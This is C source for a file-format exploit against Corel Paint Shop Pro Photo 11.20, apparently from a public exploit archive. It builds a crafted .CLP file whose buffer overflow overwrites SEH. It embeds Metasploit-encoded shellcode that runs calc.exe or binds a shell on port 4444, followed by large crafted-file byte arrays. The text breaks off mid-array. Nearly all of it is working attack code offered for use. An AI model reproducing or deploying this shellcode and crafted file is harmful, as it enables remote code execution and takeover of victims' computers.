/*****************************************************************************
*                                                                            *
*  Corel Paint Shop Pro Photo v11.20 Unspecified .CLP File Buffer Overflow   *
*                                                                            *
*                                                                            *
* By opening a specially crafted file, SEH can be overwritten which makes    *
* code execution possible.                                                   *
*                                                                            *
* This sploit runs calc.exe or binds to port 4444.                           *
* Tested against Win XP SP2 FR.                                              *
* Have Fun!                                                                  *
*                                                                            *
* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                 *
*****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26"
"\x45\x32\xe3\x83\xeb\xfc\xe2\xf4\xda\xad\x76\xe3\x26\x45\xb9\xa6"
"\x1a\xce\x4e\xe6\x5e\x44\xdd\x68\x69\x5d\xb9\xbc\x06\x44\xd9\xaa"
"\xad\x71\xb9\xe2\xc8\x74\xf2\x7a\x8a\xc1\xf2\x97\x21\x84\xf8\xee"
"\x27\x87\xd9\x17\x1d\x11\x16\xe7\x53\xa0\xb9\xbc\x02\x44\xd9\x85"
"\xad\x49\x79\x68\x79\x59\x33\x08\xad\x59\xb9\xe2\xcd\xcc\x6e\xc7"
"\x22\x86\x03\x23\x42\xce\x72\xd3\xa3\x85\x4a\xef\xad\x05\x3e\x68"
"\x56\x59\x9f\x68\x4e\x4d\xd9\xea\xad\xc5\x82\xe3\x26\x45\xb9\x8b"
"\x1a\x1a\x03\x15\x46\x13\xbb\x1b\xa5\x85\x49\xb3\x4e\x3b\xea\x01"
"\x55\x2d\xaa\x1d\xac\x4b\x65\x1c\xc1\x26\x53\x8f\x45\x6b\x57\x9b"
"\x43\x45\x32\xe3";

/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char BindShellcode[] =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf7"
"\x82\xf8\x80\x83\xeb\xfc\xe2\xf4\x0b\xe8\x13\xcd\x1f\x7b\x07\x7f"
"\x08\xe2\x73\xec\xd3\xa6\x73\xc5\xcb\x09\x84\x85\x8f\x83\x17\x0b"
"\xb8\x9a\x73\xdf\xd7\x83\x13\xc9\x7c\xb6\x73\x81\x19\xb3\x38\x19"
"\x5b\x06\x38\xf4\xf0\x43\x32\x8d\xf6\x40\x13\x74\xcc\xd6\xdc\xa8"
"\x82\x67\x73\xdf\xd3\x83\x13\xe6\x7c\x8e\xb3\x0b\xa8\x9e\xf9\x6b"
"\xf4\xae\x73\x09\x9b\xa6\xe4\xe1\x34\xb3\x23\xe4\x7c\xc1\xc8\x0b"
"\xb7\x8e\x73\xf0\xeb\x2f\x73\xc0\xff\xdc\x90\x0e\xb9\x8c\x14\xd0"
"\x08\x54\x9e\xd3\x91\xea\xcb\xb2\x9f\xf5\x8b\xb2\xa8\xd6\x07\x50"
"\x9f\x49\x15\x7c\xcc\xd2\x07\x56\xa8\x0b\x1d\xe6\x76\x6f\xf0\x82"
"\xa2\xe8\xfa\x7f\x27\xea\x21\x89\x02\x2f\xaf\x7f\x21\xd1\xab\xd3"
"\xa4\xd1\xbb\xd3\xb4\xd1\x07\x50\x91\xea\xe9\xdc\x91\xd1\x71\x61"
"\x62\xea\x5c\x9a\x87\x45\xaf\x7f\x21\xe8\xe8\xd1\xa2\x7d\x28\xe8"
"\x53\x2f\xd6\x69\xa0\x7d\x2e\xd3\xa2\x7d\x28\xe8\x12\xcb\x7e\xc9"
"\xa0\x7d\x2e\xd0\xa3\xd6\xad\x7f\x27\x11\x90\x67\x8e\x44\x81\xd7"
"\x08\x54\xad\x7f\x27\xe4\x92\xe4\x91\xea\x9b\xed\x7e\x67\x92\xd0"
"\xae\xab\x34\x09\x10\xe8\xbc\x09\x15\xb3\x38\x73\x5d\x7c\xba\xad"
"\x09\xc0\xd4\x13\x7a\xf8\xc0\x2b\x5c\x29\x90\xf2\x09\x31\xee\x7f"
"\x82\xc6\x07\x56\xac\xd5\xaa\xd1\xa6\xd3\x92\x81\xa6\xd3\xad\xd1"
"\x08\x52\x90\x2d\x2e\x87\x36\xd3\x08\x54\x92\x7f\x08\xb5\x07\x50"
"\x7c\xd5\x04\x03\x33\xe6\x07\x56\xa5\x7d\x28\xe8\x07\x08\xfc\xdf"
"\xa4\x7d\x2e\x7f\x27\x82\xf8\x80";

char clp_file_part1[] = 
"\x50\xc3\x01\x00\x08\x00\x28\x70\x03\x00\x5d\x00\x00\x00\xf0\x5e"
"\x11\x00\x00\x00\x00\x00\x00\xd5\x00\x00\x3e\x00\x00\x00\x00\x00"
"\x00\x00\xf2\xdf\x71\x06\x02\x00\x00\x00\x25\x00\x00\x00\x10\x5a"
"\x11\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\xda\x52\x0b\x30\xf4"
"\x31\x01\x10\xda\x52\x0b\x84\x49\x89\x06\x00\x00\x00\x00\x00\x00"
"\x00\x00\x8e\xdf\x78\x06\x00\x00\x00\x00\x02\x00\x00\x28\x00\x00"
"\x00\xfd\x01\x00\x00\xb6\x8a\x00\x00\x01\x00\x08\x00\x00\x00\x00"
"\x00\x00\x6c\x03\x00\x9b\x1e\x00\xa6\x9b\x18\x00\x00\x00\x05\x00"
"\x00\x00\x00\x00\x00\x19\x1b\x1b\x00\xff\xff\xff\x00\x12\xd7\xbc"
"\x00\x2e\x64\xef\x00\x89\x29\x73\x00\xd9\xd9\xd9\x00\xb6\xf8\x13"
"\x00\xb4\x68\x00\x01\x70\x70\x70\x00\x62\x92\xf0\x00\xcc\xcc\xcc"
"\x00\xe6\xf2\xfa\x00\x99\x99\x99\x00\xc5\x94\x50\x00\xe6\xe9\xf1"
"\x00\x32\xad\xf7\x00\xb4\xb4\x4d\x00\x48\x18\x4d\x00\xb4\xc9\xf0"
"\x00\x38\x9e\xab\x00\xef\xe3\xe0\x00\xde\xe5\xec\x00\x98\xb4\xef"
"\x00\xbc\x4c\x7e\x00\x3a\x98\xe5\x00\x8c\x8c\x8c\x00\xd3\xe0\xef"
"\x00\x62\xc4\xa6\x00\x33\x33\x33\x00\xd5\xb6\x8c\x00\xdd\xd5\xc6"
"\x00\xf3\xf7\xfa\xaa\x02\x01\xfe\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe1\x00"
"\x00\x00\xf9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\xdc\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\xdc\x00\x90\x00\x00\x00\x00\x00\x00\xe1\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x09\x92\x00\x4e\x09\x92"
"\x00\x88\x23\x12\x98\x24\x00\x02\x00\x74\x21\x12\x00\x02\x00\x00"
"\x00\x90\x41\x92\x00\x00\x90\xfd\x00\x05\x10\x91\x00\x63\x20\x12"
"\x00\x00\x00\x00\x00\x40\x20\x12\x00\x18\xee\x91\x00\x70\x09\x92"
"\x00\xc0\xe4\x98\x00\x6f\x3e\x92\x00\x62\x3e\x92\x00\x08\xdf\x00"
"\x00\x2c\x24\x12\x00\x04\x24\x12\x00\xbf\xde\x49\x00\x4e\x09\x92"
"\x67\xd8\x23\x12\x00\x95\x00\x02\x00\xc4\x21\x12\x00\x02\x00\x00"
"\x00\x90\x41\x92\xba\x00\xec\xfd\x13\x05\x10\x91\x00\x6c\x20\x12"
"\x00\x00\x00\x00\x00\x3c\x21\x12\x00\x18\xee\x91\x00\x70\x09\x92"
"\x00\xc0\xe4\x98\x26\x6f\x3e\x92\x00\x62\x3e\x92\x00\x08\x02\x00"
"\x00\x7c\x24\x12\x00\x54\x24\x8f\x00\xe8\x20\x12\x00\x00\x00\xaf"
"\x00\x5f\x07\x92\x00\x51\x00\x00\x00\x1f\x15\xaf\x00\x00\x00\xaf"
"\x00\x50\xa0\x3f\x5d\xc0\x20\x12\x00\x18\x00\x00\x00\x04\x23\x12"
"\x00\x18\xee\x91\x00\x38\x07\x92\x00\xff\xff\xff\x00\x49\x07\x47"
"\x00\xab\x06\x92\x00\xeb\x06\x92\x00\xc8\x23\x12\x00\x80\x02\x00"
"\x00\x00\x00\x00\x00\xab\x06\x92\x00\xeb\x06\x92\x00\x08\x90\x6e"
"\x00\xb4\x7b\x00\x00\x38\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00"
"\x00\xc6\x21\x00\x00\x00\x00\xd3\x00\x64\xfc\xfd\x00\x45\x09\x92"
"\x00\x4e\xcb\x92\x00\x68\x65\x00\x2e\xa8\x20\x12\x00\x54\x24\x12"
"\x00\xe8\x23\x12\x00\x18\xee\x91\x00\x20\x24\x12\x00\x08\x00\x00"
"\x00\xf8\x23\x12\x00\x2e\x40\x92\x00\xa8\x20\x15\x00\xd0\x21\xaa"
"\x00\x70\x09\x92\x00\xc0\xe4\x98\x00\xef\x40\x92\x00\xb2\x40\x92"
"\x00\x00\x00\x00\x00\x00\xfc\xfd\x00\x01\x80\x00\x00\xd0\x00\x57"
"\x00\x36\x00\x00\x00\x70\x39\x12\x00\x5c\x00\x44\x00\x00\x00\x00"
"\x00\x08\x00\x0a\x00\x88\x3e\x92\x00\x1a\x02\x00\x00\x00\x00\x00"
"\x00\xab\x06\x92\x00\x00\x00\xe2\x00\x7c\x24\x12\x00\x64\x04\x00"
"\x00\x00\x00\x00\x00\x10\x39\x00\x00\x5a\x00\x6f\x00\x64\x00\x66"
"\x00\x00\xfc\xfd\x00\xd0\x21\x12\x00\xca\x00\x00\x00\xa0\xf9\x15"
"\x00\x7a\x00\x00\x00\x00\x90\x58\x00\x5c\x00\x44\x00\x6f\x00\x63"
"\x00\x75\x00\x6d\x00\x65\x00\x6e\xe8\x74\x00\x73\x00\x20\x00\x5a"
"\x00\x6e\x00\x64\x00\x20\x00\x53\x00\x65\x00\x74\x00\x74\x00\x69"
"\x00\x6e\x00\x34\x00\x10\x00\x94\x00\x38\x22\x12\x00\x00\x00\xaf"
"\x00\x32\x07\x92\xdf\x03\x00\x00\x00\x18\x07\xaf\x00\x00\x00\xaf"
"\x00\x50\xa6\x45\x00\x10\x22\x12\x00\x5c\x00\x64\x00\x54\x24\x12"
"\x00\x18\xee\x91\x00\x38\x07\x92\x00\xff\xe9\xff\x00\x32\x07\x92"
"\x00\xab\x06\x92\x00\xeb\x06\x92\x00\x20\xe3\x96\x00\x0c\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\xaf\x00\x64\x22\x12\x00\x00\x00\x00"
"\x00\xc8\x05\x92\x00\xc8\x7b\x49\x00\x30\x23\xd2\x00\x51\xad\x92"
"\x00\x08\x0b\xaf\x5a\x6d\x05\xa8\x00\xd0\x7b\x49\x00\xd0\x7b\x49"
"\x00\xd4\x7b\x49\x00\x00\x90\x58\x00\x78\x01\x70\x00\x30\x23\x12"
"\x00\x08\x90\x58\x00\x00\x86\x00\x00\x98\x18\x80\x00\x00\x00\x00"
"\x00\xd0\x00\x57\x00\x0c\x25\x12\x00\x70\x0f\x5a\x00\xdc\x22\x12"
"\x00\x00\x00\x00\x00\x00\x66\x60\x00\x28\x54\x28\x00\x0c\x25\x12"
"\x00\x09\x00\x00\x00\x47\x49\x46\x00\x39\x61\xfd\x00\xb6\x01\xd5"
"\x00\x00\x1b\x1b\x00\xff\xff\xff\x00\xd7\xea\xef\x00\x2e\x73\xa9"
"\x13\xd9\xd9\xd9\x00\x6e\xb6\x00\x00\xb4\x70\x70\x00\xf0\x92\x6c"
"\x00\xcc\xcc\xfa\x00\xe6\x99\x99\xd1\x50\x94\xc5\x00\xe9\xe6\xf7"
"\x6a\x32\xac\xb4\x00\x4d\x4b\x56\x00\xb0\xb4\xab\x00\x38\xb2\xe9"
"\x00\xec\xe5\xde\xa9\x01\x01\x01\x01\xc1\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x77\x01\xe1"
"\x01\x01\x01\x01\x01\x01\x01\x6a\x01\x01\x01\x44\x01\x01\x01\x01"
"\x01\x1f\x01\x01\x01\x01\x84\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xa9\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x46\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xda\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x59\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x2c\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\xad\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x0c\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xca"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\xdb\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\xac\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\xba\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x76"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\xef\x01\x01\x01\x01\x01\x41\x01\x01\x01"
"\x01\x01\x01\xa8\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x1b\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x57\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\xfb\x01\x01\x01\x01\x01\x01"
"\x01\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x44\x13\x01\x01\x01\x2a"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x9d\x01\x39\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x65\x01\x01\x01\x01\x01\x01\xd7\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xea\x01\x01\x01\x01"
"\x01\x01\xcf\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x67\x01\x01\x01\x01\x01\xd5\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xef\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x3c\x8f\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x82\x01\x01"
"\x01\x01\x01\x01\x01\xee\xfc\x01\x01\x01\x01\x01\x01\x01\x05\x01"
"\x27\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x25\x01\x01\x01\xc8\x01\x01\x01\x01\x01\x01"
"\x01\x86\x01\x01\x01\x01\x01\x01\x34\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\xee\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x83\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\xa5\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x8c\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x87\x01\x01\x01\x01\xf2\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x95\x01\x01\x01\x01\x01\x01\x01\x01\x01\xb8\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x00\x00\x00\x01\x30\x0e\x0e\x1f\x01\x01\x01\x01\x7e\x01"
"\x48\xdd\x0e\x1f\x1f\x1f\x01\x01\x1f\xd0\x01\x01\x0e\x1f\x1f\x0e"
"\x01\x01\x1f\x15\x15\x1f\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x0f\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x7c\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x4d"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xd7\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x75\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x52\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x55\xdc"
"\xba\x01\x01\x01\x01\x01\x74\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x7e\x01\x01\x01\x01"
"\x01\x01\x01\x12\x01\x01\x01\x01\x01\xb6\x01\x01\x01\x01\x01\xd6"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x60"
"\x01\x01\x01\x01\xd6\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x57\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xb9\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xcd\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xdd\x88\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x5d\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\xad\x01\x01\x01\x01\x01\x01\x01\x95\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xe3\x01"
"\x01\x92\x01\x01\x3c\x01\x01\x01\x01\x0e\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x36\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xf2"
"\x01\x01\x00\x00\x00\x1f\x15\x0b\x15\x15\x15\x01\x01\x01\x0a\x15"
"\x1f\x1f\x0a\x1f\x0e\x05\x01\x01\x0e\x0a\x01\x0e\x0a\x0e\x1f\x0a"
"\x01\x0e\x0a\x05\x05\x0a\x1f\x01\x01\x01\x01\x01\x01\xf4\x01\x01"
"\x01\x01\x01\x01\x04\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x3b\x01\x01\x01\x01\x01\x01\xa0\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\xf4\x01\x74\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x7f\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x88\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\xc4\x01\x01\x01\x01\x01\x01\x01\x01\x01\xdb\x01\x01"
"\x01\x01\x01\x01\x1f\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x81\x01\xf7\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xe5\x01\x01\x01\x01\xab"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x16\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x53\x66\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x19\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
;

char clp_file_part2[] = 
"\x48\x47\x46\x45\x44\x43\x42\x41\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\xc7\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x33\x01\x01\x01\x01\x01"
"\x01\x48\x01\x01\x01\x01\x01\x01\x01\x01\xcf\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x22\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\xe1\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x32\x01\x01\x01\x01\x01\x01\x5e\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\xdf\x01\x01\x01\x01\xcd\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x00\x00\x00\x05\x4a\x0e\x0e\x0e\x0e\x0e\x71"
"\x01\x15\x0a\x0a\x0a\x05\x01\x0e\x05\x01\x01\x0e\x05\x01\x0a\x0a"
"\xb3\x1f\x05\x06\x0a\x0e\x01\x01\x1f\x1f\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x62"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xa1"
"\x01\x01\x01\xb6\x01\x01\x01\x01\x01\xf1\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x77\x01\x01\x01\x01\x09"
"\x01\x01\x01\x01\x01\x01\xca\x01\x01\xd8\x01\xaa\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xc5\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x59\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x33\x01\x66\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x24\x01\x01\x01\x01\x01\x63\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xfa\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x08\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1a\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x8f\x01\x01\x01\xd1\x01\x01\x01\x01\x01\x01\x0c\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x1a\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x10\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\xf8\x01\x01\x01\x01\x01\x01\x01\x21\xdc\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x00\x00\x00\x05\x0e\x05\x01\x01\x1f\x15\x01"
"\x63\x1f\x0a\x1f\x05\x15\x01\x0e\x0a\xa8\x0e\x0e\x05\x05\x05\x05"
"\x0e\x48\x05\x0e\x0a\x01\x05\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x2c\x01\x01\x01\x01\x01\x01\x01\x65"
"\x01\x01\x01\x01\x01\xdb\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\xd4\x01\x01\x01\x01\x01\x01\x31\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\xa0\x01\x01\x01\x01\x01\x01\x01\x34\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xcc\x01\x01\x01\x01"
